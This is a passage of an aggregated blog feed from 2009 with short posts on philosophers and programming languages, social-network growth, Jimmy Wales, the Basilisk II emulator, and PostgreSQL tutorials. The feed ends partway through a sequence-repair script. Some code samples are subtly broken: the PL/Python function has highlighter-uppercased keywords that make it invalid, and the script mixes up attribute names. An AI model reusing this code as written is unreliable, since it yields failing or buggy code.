		<content type="html">&lt;p&gt;Developer On Line has a &lt;a href=&quot;http://developeronline.blogspot.com/2009/04/if-philosophers-were-programmers.html&quot;&gt;great post&lt;/a&gt; on philosophy and programming languages [HT: &lt;a href=&quot;http://www.slashdot.org/&quot;&gt;Slashdot&lt;/a&gt;].&lt;/p&gt;
&lt;p&gt;Here&amp;#8217;s a summary:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Socrates would have programmed in Assembly language&lt;/li&gt;
&lt;li&gt;Aristotle would have chosen C&lt;/li&gt;
&lt;li&gt;Plato would prefer C++&lt;/li&gt;
&lt;li&gt;The Stoics would have gone for PERL&lt;/li&gt;
&lt;li&gt;Descartes would be a Java guru.&lt;/li&gt;
&lt;li&gt;Kant would have chosen Python (my choice also)&lt;/li&gt;
&lt;li&gt;Wittgenstein would be a Haskell programmer.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The author also provides some interesting reasoning for these selections. It&amp;#8217;s definitely worth a read.&lt;/p&gt;</content>
		<author>
			<name>Mark J. Nenadov</name>
			<uri>http://www.allthingsexpounded.com</uri>
		</author>
		<source>
			<title type="html">All Things Expounded » Technology</title>
			<subtitle type="html">A verbose experiment in blogness (if you want to deride it, call it AllThingsConfounded).</subtitle>
			<link rel="self" href="http://www.allthingsexpounded.com/category/technology/feed/"/>
			<id>http://www.allthingsexpounded.com/category/technology/feed/</id>
			<updated>2010-08-09T17:00:03+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">The Explosion of Web Communities</title>
		<link href="http://www.allthingsexpounded.com/2009/04/the-explosion-of-web-communities/"/>
		<id>http://www.allthingsexpounded.com/?p=496</id>
		<updated>2009-04-01T11:24:34+00:00</updated>
		<content type="html">&lt;p&gt;Nielson Wire has an &lt;a href=&quot;http://blog.nielsen.com/nielsenwire/online_mobile/twitters-tweet-smell-of-success/&quot; target=&quot;_self&quot;&gt;astounding chart&lt;/a&gt; demonstrating the EXPLOSION of various web communities from Feb. 2008 to Feb. 2009.&lt;/p&gt;
&lt;p&gt;Over one year, Twitter has grown 1382%. Facebook&amp;#8217;s growth, while more modest, was still amazing at 228%.&lt;/p&gt;
&lt;p&gt;What is also interesting is also how it shows how Twitter is appealing to an older segment of the population.&lt;/p&gt;</content>
		<author>
			<name>Mark J. Nenadov</name>
			<uri>http://www.allthingsexpounded.com</uri>
		</author>
		<source>
			<title type="html">All Things Expounded » Technology</title>
			<subtitle type="html">A verbose experiment in blogness (if you want to deride it, call it AllThingsConfounded).</subtitle>
			<link rel="self" href="http://www.allthingsexpounded.com/category/technology/feed/"/>
			<id>http://www.allthingsexpounded.com/category/technology/feed/</id>
			<updated>2010-08-09T17:00:03+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Wikipedia and Beyond</title>
		<link href="http://www.allthingsexpounded.com/2009/03/wikipedia-and-beyond/"/>
		<id>http://www.allthingsexpounded.com/?p=466</id>
		<updated>2009-03-24T23:42:42+00:00</updated>
		<content type="html">&lt;p&gt;Back in 2007, Reason magazine had interesting &lt;a href=&quot;http://www.reason.com/news/show/119689.html&quot; target=&quot;_self&quot;&gt;feature&lt;/a&gt; on Wikipedia founder Jimmy Wales.&lt;/p&gt;
&lt;p&gt;I know that&amp;#8217;s old news, but I just thought I&amp;#8217;d refer to some interesting quotes from that article.&lt;/p&gt;
&lt;p&gt;On the influence of Fredrich Hayek:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&amp;#8220;Hayek&amp;#8217;s work on price theory is central to my own thinking about how to manage the Wikipedia project,&amp;#8221; Wales wrote on the blog of the Internet law guru Lawrence Lessig&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;And again:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Wales has adopted Hayek&amp;#8217;s view that change is handled more smoothly by an interlocking network of diverse individuals than by a central planning authority&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;On Von Mises:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;He swears to have actually read Ludwig von Mises&amp;#8217;s 10-pound tome Human Action&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;On Homeschooling:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Wales, whose wife Christine teaches their 5-year-old daughter Kira at home, says he is disappointed by the &amp;#8220;factory nature&amp;#8221; of American education: &amp;#8220;There&amp;#8217;s something significantly broken about the whole concept of school.&amp;#8221; A longtime opponent of mandatory public school attendance, Wales says that part of the allure of Florida, where his Wikimedia Foundation is based, is its relatively laissez-faire attitude toward homeschoolers.&lt;/p&gt;&lt;/blockquote&gt;</content>
		<author>
			<name>Mark J. Nenadov</name>
			<uri>http://www.allthingsexpounded.com</uri>
		</author>
		<source>
			<title type="html">All Things Expounded » Technology</title>
			<subtitle type="html">A verbose experiment in blogness (if you want to deride it, call it AllThingsConfounded).</subtitle>
			<link rel="self" href="http://www.allthingsexpounded.com/category/technology/feed/"/>
			<id>http://www.allthingsexpounded.com/category/technology/feed/</id>
			<updated>2010-08-09T17:00:03+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Basilisk II</title>
		<link href="http://blog.free.draisey.ca/node/83"/>
		<id>http://blog.free.draisey.ca/83 at http://blog.free.draisey.ca</id>
		<updated>2009-03-16T05:20:01+00:00</updated>
		<content type="html">&lt;p&gt;My old 68030 based Macintosh LC III in its bodily form is gathering dust upstairs, but its spirit lives on through an extraordinary emulator called Basilisk II.  I just got around to porting the LC III&amp;#039;s partition images from my old dell box to the new core 2 box and am pleased at how well it runs.  Despite the LC III application software being totally obsolete, it is still quite functional and fast --- very very very fast.  When things get to be this fast they seem to magically acquire a whole new level of functionality --- by not getting in your way like most graphically bloated application manage to do.  I only wish my native applications ran this well.&lt;/p&gt;
&lt;p&gt;Basilisk II hacks directly into the classic Mac OS toolbox which abstracts all the hardware specific details of the machine; the rest of the OS and all the application software thinks it is running on a 68030.  The version of Basilisk II that I compiled doesn&amp;#039;t use a JIT emulator, just a simple 68k machine code interpreter, and yet it can still cold boot a virtual machine to a fully functional desktop in under a second.&lt;/p&gt;</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2010-09-07T19:00:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Extending PostgreSQL with Python</title>
		<link href="http://blog.madpython.com/2009/03/07/extending-postgresql-with-python/"/>
		<id>http://blog.madpython.com/?p=40</id>
		<updated>2009-03-07T22:56:31+00:00</updated>
		<content type="html">&lt;p&gt;One of the features I enjoy the most about PostgreSQL is the ability to write stored procedures in C, Perl, TCL, PgSQL, and yes&amp;#8230; obviously also in Python. I&amp;#8217;ve been using this feature since 7.4, so any recent version of PostgreSQL is pretty much guaranteed to support it, but you&amp;#8217;ll need to have the pl/python procedural language contrib module installed. Once it&amp;#8217;s installed, you can activate it for your current database using the following query:&lt;/p&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;sql&quot;&gt;&lt;span&gt;CREATE&lt;/span&gt; &lt;span&gt;PROCEDURAL&lt;/span&gt; &lt;span&gt;LANGUAGE&lt;/span&gt; plpythonu;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Once the language bindings have been activated, you can start writing your stored procedures in python, however you should really read up on the following subjects first:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html&quot; target=&quot;_blank&quot;&gt;CREATE FUNCTION statement syntax&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.postgresql.org/docs/8.3/interactive/plpython-funcs.html&quot; target=&quot;_blank&quot;&gt;PL/Python Implementation Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As an example, I&amp;#8217;ve written a little &lt;acronym title=&quot;Stored Procedure&quot;&gt;SP&lt;/acronym&gt; in PL/Python to provide support for &lt;acronym title=&quot;Perl-Compatible Regular Expressions&quot;&gt;PCRE&lt;/acronym&gt; since the stock distribution of PostgreSQL only supports LIKE/SIMILAR, and POSIX Style Regular Expressions.&lt;/p&gt;
&lt;p&gt;Let&amp;#8217;s create our Python language binding, and create a standard text storage table:&lt;/p&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;sql&quot;&gt;&lt;span&gt;-- Activate PL/Python&lt;/span&gt;
&lt;span&gt;CREATE&lt;/span&gt; &lt;span&gt;PROCEDURAL&lt;/span&gt; &lt;span&gt;LANGUAGE&lt;/span&gt; plpythonu;
&amp;nbsp;
&lt;span&gt;-- Create a plain text-storage table&lt;/span&gt;
&lt;span&gt;CREATE&lt;/span&gt; &lt;span&gt;TABLE&lt;/span&gt; text_storage
&lt;span&gt;&amp;#40;&lt;/span&gt;
  id serial &lt;span&gt;NOT&lt;/span&gt; &lt;span&gt;NULL&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;
  payload character varying&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;128&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;
  CONSTRAINT text_storage_pkey &lt;span&gt;PRIMARY&lt;/span&gt; &lt;span&gt;KEY&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt;id&lt;span&gt;&amp;#41;&lt;/span&gt;
&lt;span&gt;&amp;#41;&lt;/span&gt;
&lt;span&gt;WITH&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt;OIDS&lt;span&gt;=&lt;/span&gt;FALSE&lt;span&gt;&amp;#41;&lt;/span&gt;;
&lt;span&gt;ALTER&lt;/span&gt; &lt;span&gt;TABLE&lt;/span&gt; text_storage OWNER &lt;span&gt;TO&lt;/span&gt; xavier;
&amp;nbsp;
&lt;span&gt;-- Let's throw in an index on the payload field for good measure&lt;/span&gt;
&lt;span&gt;CREATE&lt;/span&gt; &lt;span&gt;INDEX&lt;/span&gt; txt_payload_idx
  &lt;span&gt;ON&lt;/span&gt; text_storage
  &lt;span&gt;USING&lt;/span&gt; btree
  &lt;span&gt;&amp;#40;&lt;/span&gt;payload&lt;span&gt;&amp;#41;&lt;/span&gt;;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Let&amp;#8217;s now populate our table with some junk data:&lt;/p&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;sql&quot;&gt;&lt;span&gt;INSERT&lt;/span&gt; &lt;span&gt;INTO&lt;/span&gt; text_storage &lt;span&gt;&amp;#40;&lt;/span&gt;payload&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;VALUES&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;'hello, world'&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;;
&lt;span&gt;INSERT&lt;/span&gt; &lt;span&gt;INTO&lt;/span&gt; text_storage &lt;span&gt;&amp;#40;&lt;/span&gt;payload&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;VALUES&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;'the quick brown fox, blah blah blah'&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;;
&lt;span&gt;INSERT&lt;/span&gt; &lt;span&gt;INTO&lt;/span&gt; text_storage &lt;span&gt;&amp;#40;&lt;/span&gt;payload&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;VALUES&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;'PCREs in Postgres'&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;;
&lt;span&gt;INSERT&lt;/span&gt; &lt;span&gt;INTO&lt;/span&gt; text_storage &lt;span&gt;&amp;#40;&lt;/span&gt;payload&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;VALUES&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;'All hail Python!'&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;;
&lt;span&gt;INSERT&lt;/span&gt; &lt;span&gt;INTO&lt;/span&gt; text_storage &lt;span&gt;&amp;#40;&lt;/span&gt;payload&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;VALUES&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;'Hello, test data!'&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;;
&lt;span&gt;INSERT&lt;/span&gt; &lt;span&gt;INTO&lt;/span&gt; text_storage &lt;span&gt;&amp;#40;&lt;/span&gt;payload&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;VALUES&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;'Python would like to say Hello!'&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And now we can go ahead and create our Python SP itself:&lt;/p&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;plsql&quot;&gt;&lt;span&gt;CREATE&lt;/span&gt; &lt;span&gt;OR&lt;/span&gt; &lt;span&gt;REPLACE&lt;/span&gt; &lt;span&gt;FUNCTION&lt;/span&gt; pcre&lt;span&gt;&amp;#40;&lt;/span&gt;text&lt;span&gt;,&lt;/span&gt; text&lt;span&gt;&amp;#41;&lt;/span&gt;
  RETURNS &lt;span&gt;INTEGER&lt;/span&gt; &lt;span&gt;AS&lt;/span&gt;
$BODY$import re
&amp;nbsp;
regex  &lt;span&gt;=&lt;/span&gt; args&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
in_str &lt;span&gt;=&lt;/span&gt; args&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
&amp;nbsp;
compiled &lt;span&gt;=&lt;/span&gt; re&lt;span&gt;.&lt;/span&gt;compile&lt;span&gt;&amp;#40;&lt;/span&gt;regex&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;IF&lt;/span&gt; compiled&lt;span&gt;.&lt;/span&gt;search&lt;span&gt;&amp;#40;&lt;/span&gt;in_str&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;
	&lt;span&gt;RETURN&lt;/span&gt; &lt;span&gt;1&lt;/span&gt;
&lt;span&gt;ELSE&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;
	&lt;span&gt;RETURN&lt;/span&gt; &lt;span&gt;0&lt;/span&gt;$BODY$
  LANGUAGE &lt;span&gt;'plpythonu'&lt;/span&gt; VOLATILE
  COST &lt;span&gt;100&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;As you can see, our PCRE matching system is extremely simple, yet pretty powerful. We import Python&amp;#8217;s built-in &lt;strong&gt;re&lt;/strong&gt; module, compile the specified regex argument, then attempt to match it against the other argument. Here&amp;#8217;s a usage example on our test table:&lt;/p&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;sql&quot;&gt;&lt;span&gt;SELECT&lt;/span&gt; id&lt;span&gt;,&lt;/span&gt; payload &lt;span&gt;FROM&lt;/span&gt; text_storage &lt;span&gt;WHERE&lt;/span&gt; pcre&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;'[H|h]ello'&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; payload&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;1&lt;/span&gt;;
 id &lt;span&gt;|&lt;/span&gt;             payload
&lt;span&gt;----+---------------------------------&lt;/span&gt;
  &lt;span&gt;1&lt;/span&gt; &lt;span&gt;|&lt;/span&gt; hello&lt;span&gt;,&lt;/span&gt; world
  &lt;span&gt;5&lt;/span&gt; &lt;span&gt;|&lt;/span&gt; Hello&lt;span&gt;,&lt;/span&gt; test &lt;span&gt;DATA&lt;/span&gt;!
  &lt;span&gt;6&lt;/span&gt; &lt;span&gt;|&lt;/span&gt; Python would &lt;span&gt;LIKE&lt;/span&gt; &lt;span&gt;TO&lt;/span&gt; say Hello!
&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;3&lt;/span&gt; rows&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;As always, feel free to suggest any improvements.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F07%2Fextending-postgresql-with-python%2F&amp;amp;linkname=Extending%20PostgreSQL%20with%20Python&quot; title=&quot;Reddit&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/reddit.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Reddit&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F07%2Fextending-postgresql-with-python%2F&amp;amp;linkname=Extending%20PostgreSQL%20with%20Python&quot; title=&quot;Delicious&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/delicious.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Delicious&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F07%2Fextending-postgresql-with-python%2F&amp;amp;linkname=Extending%20PostgreSQL%20with%20Python&quot; title=&quot;Google Bookmarks&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/google.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Google Bookmarks&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F07%2Fextending-postgresql-with-python%2F&amp;amp;linkname=Extending%20PostgreSQL%20with%20Python&quot; title=&quot;Facebook&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/facebook.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Facebook&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F07%2Fextending-postgresql-with-python%2F&amp;amp;linkname=Extending%20PostgreSQL%20with%20Python&quot; title=&quot;Google Buzz&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/google_buzz.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Google Buzz&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/stumbleupon?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F07%2Fextending-postgresql-with-python%2F&amp;amp;linkname=Extending%20PostgreSQL%20with%20Python&quot; title=&quot;StumbleUpon&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/stumbleupon.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;StumbleUpon&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/linkedin?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F07%2Fextending-postgresql-with-python%2F&amp;amp;linkname=Extending%20PostgreSQL%20with%20Python&quot; title=&quot;LinkedIn&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/linkedin.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;LinkedIn&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F07%2Fextending-postgresql-with-python%2F&amp;amp;linkname=Extending%20PostgreSQL%20with%20Python&quot; title=&quot;Twitter&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/twitter.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Twitter&quot; /&gt;&lt;/a&gt; &lt;a class=&quot;a2a_dd addtoany_share_save&quot; href=&quot;http://www.addtoany.com/share_save&quot;&gt;Share&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;Related posts:&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2009/03/06/fixing-custom-sequences-in-postgresql/&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link: Fixing custom sequences in PostgreSQL&quot;&gt;Fixing custom sequences in PostgreSQL&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2009/03/01/ahh-those-cool-little-cli-tools/&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link: Ahh those cool little CLI tools&amp;#8230;&quot;&gt;Ahh those cool little CLI tools&amp;#8230;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2009/03/02/apache2-shortcuts/&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link: Apache2 shortcuts&quot;&gt;Apache2 shortcuts&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/p&gt;</content>
		<author>
			<name>Xavier Spriet</name>
			<uri>http://blog.madpython.com</uri>
		</author>
		<source>
			<title type="html">Mad Python</title>
			<subtitle type="html">Watch out.. he's angry</subtitle>
			<link rel="self" href="http://blog.madpython.com/feed/"/>
			<id>http://blog.madpython.com/feed/</id>
			<updated>2010-09-07T16:00:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Fixing custom sequences in PostgreSQL</title>
		<link href="http://blog.madpython.com/2009/03/06/fixing-custom-sequences-in-postgresql/"/>
		<id>http://blog.madpython.com/?p=35</id>
		<updated>2009-03-07T00:52:47+00:00</updated>
		<content type="html">&lt;p&gt;PostgreSQL provides a mechanism called sequences, which I believe is extracted from ANSI-SQL92, though I&amp;#8217;m too lazy to check, which are basically stateful counters that provide some helper functions. The primary use of sequences in PostgreSQL and Oracle, is to implement auto-incrementing counters as a table field.&lt;/p&gt;
&lt;p&gt;PostgreSQL will automatically create a sequence when you use the &amp;#8220;SERIAL&amp;#8221; datatype for your field, and will take care of assigning the default value of your field as the result of the nextval() call on the sequence, so most of the time you don&amp;#8217;t need to interact directly with sequences.&lt;/p&gt;
&lt;p&gt;Where things can get hairy however, is when you back up your data using pg_dump or any other mechanism, and restore that data in a table that is already populated. A common scenario for example, is populating a table that already has some recent data, with some older data you&amp;#8217;ve been storing in archival. The opposite is true if you are trying to archive data from a table to a backup database for example.&lt;/p&gt;
&lt;p&gt;Whenever you manually have to provide a value for the field assigned to a sequence, you are pretty much guaranteed to break the sequence unless you take the time to nextval() your sequence until it is in sync. This is a real problem, as pg_dump does not include sequence synchronization in its output.&lt;/p&gt;
&lt;p&gt;The quickest way to synchronize a sequence, based on my observations, is to run the following query, taking care to replace the name of the sequence [SEQ] and the name of the associated table [TABLE] and field [FIELD]:&lt;/p&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;sql&quot;&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;SETVAL&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;SEQ&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; COALESCE&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;FIELD&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt; &lt;span&gt;FROM&lt;/span&gt; &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;TABLE&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt; &lt;span&gt;ORDER&lt;/span&gt; &lt;span&gt;BY&lt;/span&gt; &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;FIELD&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt; &lt;span&gt;DESC&lt;/span&gt; &lt;span&gt;LIMIT&lt;/span&gt; &lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;0&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This will fetch the highest value of [FIELD] in [TABLE], increment it by 1, and synchronize the sequence [SEQ] to the new value.&lt;/p&gt;
&lt;p&gt;I&amp;#8217;ve also written the following little Python script that will look for any &lt;strong&gt;&lt;em&gt;non-system&lt;/em&gt;&lt;/strong&gt; sequence in the specified database, and use this method to repair it. Let me know if it works out for you, or if you&amp;#8217;d like to suggest some improvements.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Requirements&lt;/strong&gt;: Python 2.5+, PsycoPG2 Python module (python-psycopg2)&lt;/p&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;#!/usr/bin/env python&lt;/span&gt;
&lt;span&gt;# -*- coding: utf-8 -*-&lt;/span&gt;
&amp;nbsp;
&amp;nbsp;
&lt;span&gt;# Standard imports&lt;/span&gt;
&lt;span&gt;import&lt;/span&gt; &lt;span&gt;sys&lt;/span&gt;
&lt;span&gt;import&lt;/span&gt; &lt;span&gt;os&lt;/span&gt;
&lt;span&gt;import&lt;/span&gt; &lt;span&gt;time&lt;/span&gt;
&lt;span&gt;from&lt;/span&gt; &lt;span&gt;optparse&lt;/span&gt; &lt;span&gt;import&lt;/span&gt; OptionParser
&amp;nbsp;
&lt;span&gt;# psycopg2 import&lt;/span&gt;
&lt;span&gt;try&lt;/span&gt;:
    &lt;span&gt;import&lt;/span&gt; psycopg2
&lt;span&gt;except&lt;/span&gt; &lt;span&gt;ImportError&lt;/span&gt;, e:
    &lt;span&gt;print&lt;/span&gt; &lt;span&gt;'You must install the python module named &amp;quot;psycopg2&amp;quot; in order to use this module.'&lt;/span&gt;
    &lt;span&gt;sys&lt;/span&gt;.&lt;span&gt;exit&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;os&lt;/span&gt;.&lt;span&gt;EX_SOFTWARE&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
&amp;nbsp;
&amp;nbsp;
&lt;span&gt;class&lt;/span&gt; PgRepairman:
    &lt;span&gt;def&lt;/span&gt; &lt;span&gt;__init__&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;, options, &lt;span&gt;parser&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
        &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;options&lt;/span&gt; = options
        &lt;span&gt;try&lt;/span&gt;:
            dsn = &lt;span&gt;&amp;quot;dbname=%s host=%s user=%s&amp;quot;&lt;/span&gt; &lt;span&gt;%&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt;options.&lt;span&gt;db&lt;/span&gt;, options.&lt;span&gt;host&lt;/span&gt;, options.&lt;span&gt;user&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
            dsn += &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;&amp;quot;&lt;/span&gt; &lt;span&gt;!&lt;/span&gt;= options.&lt;span&gt;passwd&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;and&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;password=%s&amp;quot;&lt;/span&gt; &lt;span&gt;%&lt;/span&gt; options.&lt;span&gt;password&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;or&lt;/span&gt; &lt;span&gt;&amp;quot;&amp;quot;&lt;/span&gt;
